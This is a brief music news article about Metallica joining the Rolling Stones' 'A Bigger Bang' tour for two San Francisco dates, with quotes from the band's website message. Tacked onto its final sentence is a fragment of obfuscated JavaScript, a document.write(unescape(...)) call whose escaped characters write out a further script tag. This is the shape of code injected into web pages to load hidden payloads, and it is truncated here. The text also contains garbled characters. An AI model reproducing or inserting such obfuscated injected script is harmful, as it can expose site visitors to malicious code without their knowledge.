Metallica will support The Rolling Stones on their world tour later this year.
The metal titans, whose days as a regular support band are long behind them, will play on the Stones' 'A Bigger Bang' tour at SBC Park in San Francisco on November 13&15.
The band revealed the news to fans in a cheeky message via their official website.
They said: 'After taking three weeks off we thought it might be fun to play a few small intimate gigs so we called up our close personal friends, the Rolling Stones , to see what they were up to… turns out that they are doing a stadium tour of North America!'
'Nah â€" seriously, last week we were honoured to share the stage with them in our home town. After having the thrill of playing with some of our most personal heroes such as AC/DC, Deep Purple, Iron Maiden and Ozzy, how could we say 'no' to the quintessential rock band, who are in some way responsible for all of this?'
'These two shows are about nothing more than having fun and playing music… nothing to sell, nothing to promote, nothing to talk about… no fuckin' agenda at all. Simply put, this is the reason we started a band 25 or so years ago, and we are psyched and appreciative of this awesome opportunity to get cracking again.'
Metallica join a diverse support line-up of rock'n'soul acts including Pearl Jam, Black Eyed Peas , Joss Stone , Beck and Maroon 5.
The Rolling Stones release 'A Bigger Bang', their first studio album in eight years, on September 5.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22